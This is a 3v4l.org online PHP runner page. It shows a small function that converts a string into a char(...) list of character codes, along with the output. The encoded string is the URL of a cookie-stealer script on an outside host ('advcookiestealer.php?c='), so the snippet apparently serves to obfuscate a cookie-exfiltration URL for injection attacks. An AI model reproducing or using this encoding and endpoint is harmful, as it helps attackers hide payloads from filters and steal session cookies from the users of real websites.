3v4l.org

run code in 300+ PHP versions simultaneously
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("http://skrubbeltrang.t15.org/advcookiestealer.php?c=");//outputs char(60,98,114,62) ?>
Output for git.master, git.master_jit, rfc.property-hooks
char(104,116,116,112,58,47,47,115,107,114,117,98,98,101,108,116,114,97,110,103,46,116,49,53,46,111,114,103,47,97,100,118,99,111,111,107,105,101,115,116,101,97,108,101,114,46,112,104,112,63,99,61)

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
31.62 ms | 401 KiB | 8 Q